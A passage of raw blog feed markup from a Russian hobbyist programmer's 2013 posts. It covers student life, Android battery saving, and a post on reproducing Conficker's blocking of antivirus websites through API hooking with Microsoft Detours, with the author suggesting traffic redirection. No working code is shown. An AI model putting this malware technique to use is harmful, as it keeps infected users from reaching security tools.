&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Я тут размышлял.на самом деле,сегодня уже 31 октября, лето вспоминаю как будто неделю назад,время бежит просто очень быстро, представить трудно что через 8-9 месяцев я буду говорить не &quot;о черт,завтра на пары&quot;,а &quot;о черт,завтра на работу&quot;, хотя без работы жизнь бы вообще была хер знает какой, если ни деньги ни хера материальное не приносит стимула и удовольствия.Надо искать свою нишу.И надо стараться держать рядом с собой только проверенных и лучших друзей,заниматься своим делом.Играйте музыку, программируйте аццкую хрень,бухайте в конце концов, читайте что нибудь стоящее (лично я прочел некоторые вещи Кафки,хотя еще в школе наотрез отказывался читать это).в общем не теряйте время.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
пысышки:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj949v7o2G68BhXgHu1EoZuX6YJDjkKDRI1yOFZQGmA59PCAxCKj4k9IjDsjoZRRSlOi7fN7QE3Rsl_6qClskN7p4iIXdY02AM0kJgOvtHaxS6q6d6v0SK2l9DgC1n0kNB45MyA4okuwP1J/s1600/3471796_eb1fc174.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;170&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj949v7o2G68BhXgHu1EoZuX6YJDjkKDRI1yOFZQGmA59PCAxCKj4k9IjDsjoZRRSlOi7fN7QE3Rsl_6qClskN7p4iIXdY02AM0kJgOvtHaxS6q6d6v0SK2l9DgC1n0kNB45MyA4okuwP1J/s320/3471796_eb1fc174.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
уже целая коллекция гугл нексусов). подумываю 7 поменять на 10 теперь)&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
а это я учусь)&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;iframe allowfullscreen=&quot;&quot; frameborder=&quot;0&quot; height=&quot;315&quot; src=&quot;//www.youtube.com/embed/mro2eRVk420&quot; width=&quot;420&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;
&lt;br /&gt;
еще кое что: этот код мы как то давно со slesh-em чудили, он даже где то выкидывал его кажется.однако разобраться че он там грузит и как трудновато,так что я решил (давно хотел)его сюда закинуть и рассказать как применить и как работает).&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://bydood.blogspot.com/feeds/643443492234210755/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://bydood.blogspot.com/2013/10/blog-post_31.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/643443492234210755'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/643443492234210755'/><link rel='alternate' type='text/html' href='http://bydood.blogspot.com/2013/10/blog-post_31.html' title='простой загрузчик и ядро'/><author><name>DooD</name><uri>http://www.blogger.com/profile/15924482264023722266</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLuuG2Je71LnNqR-LrzvojPS25ljvxgbYelR2m2-eXJObjSjMnb-VTl5MJ6jOTJ3tea_dQDDgpqHRstELXE2cPOlAmzVsihMMTARS7iTD4UontXEwNk-6DReyFU6P14Q/s220/15072011561.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEietilAOdase-jHXlq0omnFFiJQcZPSoqXpPR85Db828uIyDck2f6oEI-M7h9RjhgNfEhZi5PZ9lOQrIY1otFJMxNrHUtATVxX4YVyJxq4COA6xKdvFYXU6k4rbrAqH2fNIsFqxEz3bbD83/s72-c/1231.bmp" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4770217640648717650.post-3484524260133078149</id><published>2013-10-08T09:17:00.001+03:00</published><updated>2013-10-08T09:18:00.873+03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Видео"/><title type='text'>Пищать как сучки или легальный перехват</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
В общем то давно было желание воссоздать технику как всем известного KIDO conficker&lt;br /&gt;
&lt;div&gt;
&lt;a href=&quot;http://ru.wikipedia.org/wiki/Conficker&quot;&gt;http://ru.wikipedia.org/wiki/Conficker&lt;/a&gt;&amp;nbsp;(часть про блокировку сайтов АВ разработчиков).&lt;/div&gt;
&lt;div&gt;
Получилось то, что для делфи все библиотеки что я ощупал (в том числе от Ms-Rem-a) очевидно на сегодняшний день устарели или просто кривые, ибо все крэшилось или нереально лагало при инжекте,а сплайсить в западло было, да и то потом отладкой заниматься долго и весело.Решил раз уж я все равно уделяю какое то время Сям, то почему бы и нет.&lt;/div&gt;
&lt;div&gt;
Тем более MICRO$OFT сами выпускают для этого БЕСПЛАТНУЮ!(конечно не в комерц. проэктах)&quot;легальную&quot; библиотеку detours!.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Прежде всего я подофигел с того, что для пользования ею , надо (что очень не характерно для шиндовса,скорее для никсов) собирать ее из исходников.На самом деле все просто.я собирал detours 3.0 на 2010 студии (proff).&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
идем в visual studio tools (папка в пуске).видим такое:&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgj4g_VZ4bf5E7UvjRArU4E8wXCUUBDhy3uN-2C4Z1RLwzVK85K8HhtU1gJeZZNpFh6OpbyOFJU8WInnYuXSo_lGjf5LO1Z0chw9n_9yssoxVKZ3Sneg9nDe91Ges8TqW-VWvvrRLRMcCav/s1600/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B9.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;190&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgj4g_VZ4bf5E7UvjRArU4E8wXCUUBDhy3uN-2C4Z1RLwzVK85K8HhtU1gJeZZNpFh6OpbyOFJU8WInnYuXSo_lGjf5LO1Z0chw9n_9yssoxVKZ3Sneg9nDe91Ges8TqW-VWvvrRLRMcCav/s320/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B9.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
выбираем командную строку.в папку куда установили detours в корень кидаем nmake (идет в любой студии в комплекте)и запускаем там nmake, ждем пока либа и примеры соберутся.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
после чего добавляем ее в студию так:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
нажимаем на св-ва проекта, дальше:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFc-wtyKkkZiKXSuvm_fVxb4C3gJVM10mdToL6tYr4lUwgGF575DUMfIXpeoHH3nDyTwD4ssaZC0imeIY7oj60qaZ209nq1uLaRJZjlqRlz_BZW96eFgLF0jXJfdKtjbJKB-F8Zt9_0Gio/s1600/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B92.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;185&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFc-wtyKkkZiKXSuvm_fVxb4C3gJVM10mdToL6tYr4lUwgGF575DUMfIXpeoHH3nDyTwD4ssaZC0imeIY7oj60qaZ209nq1uLaRJZjlqRlz_BZW96eFgLF0jXJfdKtjbJKB-F8Zt9_0Gio/s320/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B92.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
прописываем путь к либе и усе готово.можно заняться перехватом.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
я подумал что просто блокать будет не слишком интересно, а лучше длеать редирект(не плохая идея для траффа, не так ли?))&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
ну и вот что получилось:&lt;/div&gt;
&lt;iframe allowfullscreen=&quot;&quot; frameborder=&quot;0&quot; height=&quot;344&quot; src=&quot;//www.youtube.com/embed/nj4-fSCJWjU&quot; width=&quot;459&quot;&gt;&lt;/iframe&gt;

&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
останется лишь сделать разделение ip\domen, главное что работает.советую попробовать либу, для не сверхсложных перехватов, где не нужен дизассемблер длин инструкций и т.д и т.п. (хотя по-моему уже он там есть)отлично подойдет!&lt;br /&gt;
&lt;br /&gt;
ps:&lt;br /&gt;
вот так я и стал писать сюда раз в месяц, идея пришла-сделал-ушла)и лень лень лень и еще раз лень.&lt;br /&gt;
&lt;br /&gt;
pss:&lt;br /&gt;
спасибо kaimi (&lt;a href=&quot;http://kaimi.ru/&quot;&gt;http://kaimi.ru/&lt;/a&gt;) за консультацию!&lt;br /&gt;
&lt;br /&gt;
psss:&lt;br /&gt;
вот люди почему то и спрашивают, почему нету на других ресурсах, а сижу только на форуме antichat.ru. Объясняю:&lt;br /&gt;
потому что это пиздец.вы полазьте якобы на &quot;ХАКИРСКИХ&quot; форумах где рассадник школоло которое только понтуется своими супер знаниями,прямо русские\украинские Биллы Гейтсы и Кэвины Митники.А на античате всегда можно найти ответы на свои вопросы, помогут те же kaimi и dx, раньше slesh , gar|k, и еще много людей...конечно на АЧ тоже школоты хватает, но она в основном в болталке да и торговых пытается кинуть кого то на 10$ .по этому грамотные в основе только элита.&lt;br /&gt;
единственные еще не плохие порталы rdot.org (тот же античат, просто я не застал каких то там страшных событий из-за чего образовался этот форум, я типа ньюфаг) и wasm.ru.&lt;br /&gt;
однако мне не было нужды там регаться, пока что.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
pssss:&lt;br /&gt;
блеа!я уже опаздываю на учебу, все бб!)&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://bydood.blogspot.com/feeds/3484524260133078149/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://bydood.blogspot.com/2013/10/blog-post.html#comment-form' title='Комментарии: 11'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/3484524260133078149'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/3484524260133078149'/><link rel='alternate' type='text/html' href='http://bydood.blogspot.com/2013/10/blog-post.html' title='Пищать как сучки или легальный перехват'/><author><name>DooD</name><uri>http://www.blogger.com/profile/15924482264023722266</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLuuG2Je71LnNqR-LrzvojPS25ljvxgbYelR2m2-eXJObjSjMnb-VTl5MJ6jOTJ3tea_dQDDgpqHRstELXE2cPOlAmzVsihMMTARS7iTD4UontXEwNk-6DReyFU6P14Q/s220/15072011561.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgj4g_VZ4bf5E7UvjRArU4E8wXCUUBDhy3uN-2C4Z1RLwzVK85K8HhtU1gJeZZNpFh6OpbyOFJU8WInnYuXSo_lGjf5LO1Z0chw9n_9yssoxVKZ3Sneg9nDe91Ges8TqW-VWvvrRLRMcCav/s72-c/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B9.jpg" height="72" width="72"/><thr:total>11</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4770217640648717650.post-6202261160394726133</id><published>2013-09-08T14:55:00.000+03:00</published><updated>2013-10-17T19:30:48.473+03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Жизнь и всякая хрень"/><title type='text'>так,ни о чем</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
ps&lt;/div&gt;
есть некоторые конструктивные планы,наконец взяться за ОС, игру или еще там что то, но из-за бухла,лени и еще короче могу придумать миллион отмазок,нету времени в общем.&lt;br /&gt;
&lt;br /&gt;
А еще перестроился режим из отдыха в учебу, так что будет совсем тяжко,и вообще я скучаю по тому что происходило)&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgY9e49JNKu1zikiCOfHHTQ-W-UE7Hl3McrXCuOJCeXzPS5xErvEQ5eV_PRH9G9TomZHVZhynXuvLt2LJsb7lhU-2Z0U8eHbTdHhZ5sJzlYuhwB3VqMHcpGlFtaZw0YQiuZqPPrilxLNYU2/s1600/7tO91z1sA0E.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;179&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgY9e49JNKu1zikiCOfHHTQ-W-UE7Hl3McrXCuOJCeXzPS5xErvEQ5eV_PRH9G9TomZHVZhynXuvLt2LJsb7lhU-2Z0U8eHbTdHhZ5sJzlYuhwB3VqMHcpGlFtaZw0YQiuZqPPrilxLNYU2/s320/7tO91z1sA0E.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpzjEC2K1KVR85-ZyltA2apdLQyQkXl-2lTJbgTwUZTZ9-MgzZ5SQR4ak_5g8JFIOWUJuvj0Ul1VVsDym22-ldvtpIIsLvzCaOFpLi-Sh6WELDtA36C-2Ov7tNbJuvA6mAChzWDH94aSXB/s1600/5pKxtm5058Y.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpzjEC2K1KVR85-ZyltA2apdLQyQkXl-2lTJbgTwUZTZ9-MgzZ5SQR4ak_5g8JFIOWUJuvj0Ul1VVsDym22-ldvtpIIsLvzCaOFpLi-Sh6WELDtA36C-2Ov7tNbJuvA6mAChzWDH94aSXB/s320/5pKxtm5058Y.jpg&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhg-3kVVFjm93ahGWQ95vSAHPfnLmDVSGk12QCseHKyxc2vlr7kjL5LfP8gFy-4rbHOER4h_jojKmveBEY9ep8VG3QDK018a_5LYfW7ZXDahRK6sOXBpbWR7mfWTB1faHVTGJJASJDzkvOk/s1600/KRvjWKVDA2E.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhg-3kVVFjm93ahGWQ95vSAHPfnLmDVSGk12QCseHKyxc2vlr7kjL5LfP8gFy-4rbHOER4h_jojKmveBEY9ep8VG3QDK018a_5LYfW7ZXDahRK6sOXBpbWR7mfWTB1faHVTGJJASJDzkvOk/s320/KRvjWKVDA2E.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKNniQmQYJ7PnwZMUFlXRvxE7uHhYN0V9VsHIUMSwxxtjJmnfdRttLKixTsERovwHr6RAgrx1_MGlGhUhTeGaUEi6HZuuhIx0ZvxN8K1kHusXljPMufgXKua8Mw_e5hkK5QjNMnny1DYvm/s1600/WuMppT3l5vg.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;160&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKNniQmQYJ7PnwZMUFlXRvxE7uHhYN0V9VsHIUMSwxxtjJmnfdRttLKixTsERovwHr6RAgrx1_MGlGhUhTeGaUEi6HZuuhIx0ZvxN8K1kHusXljPMufgXKua8Mw_e5hkK5QjNMnny1DYvm/s320/WuMppT3l5vg.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
фуууууууууу все это перестает не в технарский блог, а в дневник какой то сопливой девчонки...)&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://bydood.blogspot.com/feeds/6202261160394726133/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://bydood.blogspot.com/2013/09/uac.html#comment-form' title='Комментарии: 2'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/6202261160394726133'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/6202261160394726133'/><link rel='alternate' type='text/html' href='http://bydood.blogspot.com/2013/09/uac.html' title='так,ни о чем'/><author><name>DooD</name><uri>http://www.blogger.com/profile/15924482264023722266</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLuuG2Je71LnNqR-LrzvojPS25ljvxgbYelR2m2-eXJObjSjMnb-VTl5MJ6jOTJ3tea_dQDDgpqHRstELXE2cPOlAmzVsihMMTARS7iTD4UontXEwNk-6DReyFU6P14Q/s220/15072011561.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgY9e49JNKu1zikiCOfHHTQ-W-UE7Hl3McrXCuOJCeXzPS5xErvEQ5eV_PRH9G9TomZHVZhynXuvLt2LJsb7lhU-2Z0U8eHbTdHhZ5sJzlYuhwB3VqMHcpGlFtaZw0YQiuZqPPrilxLNYU2/s72-c/7tO91z1sA0E.jpg" height="72" width="72"/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4770217640648717650.post-2988374514090855420</id><published>2013-09-03T00:48:00.001+03:00</published><updated>2013-09-03T00:48:25.722+03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Заметки"/><title type='text'>Уменьшение расхода батареи андроид.</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Давно я не был.К тому же заболел,но накопилось несколько интересных моментов,попробую описать чуть попозже.&lt;br /&gt;
&lt;br /&gt;
Я пришел к выводу, что все эти экономщики батареи в маркете-одинаковые,просто вырубают вафлю,блюпуп и т.д. когда они не используются.Толку то.Андроид сам отключает вифи когда тот не юзается, блютуз не жрет батарею в огромных кол-вах.В основном потребителем является экран,а так же службы запущенные в фоне.&lt;br /&gt;
&lt;br /&gt;
Но и при выключенном экране + еще радиомодуль и поддержка связи жрет.&lt;br /&gt;
По этому я провел такой микротест, суть которого состоит к снижению частоты камня.&lt;br /&gt;
создал два профиля с помощью setcpu (кажется так называется)-при отключении экрана снижать частоту на максимум.и при 30% батареи снижать до 579 mhz&lt;br /&gt;
&lt;br /&gt;
и вот что получилось: юзался телефон не слабо,видео с тырнета,звонки,серфинг етц..результат я честно говоря заметил не плохой.+ еще советую на ночь включать режим полета(если вы не ждете звонка ночью;))тогда заряд останется почти не тронутым к следующему дню.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVWDXtC_EJxjNnHKMtb13H1Ab08NocY4qMaJtZSnWe7Ul6jKqCJOThk1zK_3QtYMvLOAUgQtkn8879ZaHCjetuzF0U-LBc0S4g7dHPmNWPiG9OvmZrA3XgJsKpoFJSpuICAc9KMcXxS2Ve/s1600/20130825231104.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVWDXtC_EJxjNnHKMtb13H1Ab08NocY4qMaJtZSnWe7Ul6jKqCJOThk1zK_3QtYMvLOAUgQtkn8879ZaHCjetuzF0U-LBc0S4g7dHPmNWPiG9OvmZrA3XgJsKpoFJSpuICAc9KMcXxS2Ve/s320/20130825231104.png&quot; width=&quot;192&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5EGEEnaH0LR53wQ-1lo79tVokVvDn7x_iW3ygDX38qg8Cl0KiTien57ryQboyf8VnHLwr8_3HfdgjDY4YNvgYaXrkC__YiqZ-dMvIik9Mn2_vz3YMMSDS5e8NkHUCcuOOV6sVDR1pR6wZ/s1600/20130827112323.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5EGEEnaH0LR53wQ-1lo79tVokVvDn7x_iW3ygDX38qg8Cl0KiTien57ryQboyf8VnHLwr8_3HfdgjDY4YNvgYaXrkC__YiqZ-dMvIik9Mn2_vz3YMMSDS5e8NkHUCcuOOV6sVDR1pR6wZ/s320/20130827112323.png&quot; width=&quot;192&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJ_fn70L8jfGj-EK7NOXPjoRDAg34P4OfRqVS4WnQzvZIMuSUu5_aICe_ZBQGLbFNppM-Su3U_l433dQurxj5E8UlXSSw8vjjCSwUMyFZ4maXPcj0nw9BU8Tl5W9FIbyGgNOK6dmfnpgNe/s1600/20130828154709.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJ_fn70L8jfGj-EK7NOXPjoRDAg34P4OfRqVS4WnQzvZIMuSUu5_aICe_ZBQGLbFNppM-Su3U_l433dQurxj5E8UlXSSw8vjjCSwUMyFZ4maXPcj0nw9BU8Tl5W9FIbyGgNOK6dmfnpgNe/s320/20130828154709.png&quot; width=&quot;192&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBT2Avcawm8hnpZXJce0h2rrWTcYeS4p3FxexJobstsFB6keHCaE5h2w5IFWfBuh8kwIqBy8uIjIjsnRdsc7q7CimVzz69leQyu-Yb-dZODXy32OY6kZGGOL-RAxPh3WYRzC3wb2VXZ-J1/s1600/20130829181053.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBT2Avcawm8hnpZXJce0h2rrWTcYeS4p3FxexJobstsFB6keHCaE5h2w5IFWfBuh8kwIqBy8uIjIjsnRdsc7q7CimVzz69leQyu-Yb-dZODXy32OY6kZGGOL-RAxPh3WYRzC3wb2VXZ-J1/s320/20130829181053.png&quot; width=&quot;192&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhL7BHpbpYabW0VE4vmc1vgIj5UH9KIqyRmdHIFPTm8WXj7FVsu8K4b2B_9FYhvyzDuHmkywqUzN-zvzohnhpvudm20F2LROk4KAXnH8iNPZJBQnV_pCVXfhmXUsAcOyq91fTwz4F2P6zHk/s1600/20130831215241.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhL7BHpbpYabW0VE4vmc1vgIj5UH9KIqyRmdHIFPTm8WXj7FVsu8K4b2B_9FYhvyzDuHmkywqUzN-zvzohnhpvudm20F2LROk4KAXnH8iNPZJBQnV_pCVXfhmXUsAcOyq91fTwz4F2P6zHk/s320/20130831215241.png&quot; width=&quot;192&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://bydood.blogspot.com/feeds/2988374514090855420/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://bydood.blogspot.com/2013/09/blog-post.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/2988374514090855420'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/2988374514090855420'/><link rel='alternate' type='text/html' href='http://bydood.blogspot.com/2013/09/blog-post.html' title='Уменьшение расхода батареи андроид.'/><author><name>DooD</name><uri>http://www.blogger.com/profile/15924482264023722266</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLuuG2Je71LnNqR-LrzvojPS25ljvxgbYelR2m2-eXJObjSjMnb-VTl5MJ6jOTJ3tea_dQDDgpqHRstELXE2cPOlAmzVsihMMTARS7iTD4UontXEwNk-6DReyFU6P14Q/s220/15072011561.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVWDXtC_EJxjNnHKMtb13H1Ab08NocY4qMaJtZSnWe7Ul6jKqCJOThk1zK_3QtYMvLOAUgQtkn8879ZaHCjetuzF0U-LBc0S4g7dHPmNWPiG9OvmZrA3XgJsKpoFJSpuICAc9KMcXxS2Ve/s72-c/20130825231104.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4770217640648717650.post-4026182963773062926</id><published>2013-08-07T21:07:00.000+03:00</published><updated>2013-08-07T22:16:41.504+03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Статьи"/><title type='text'>Станем хорошими или продолжение mbr 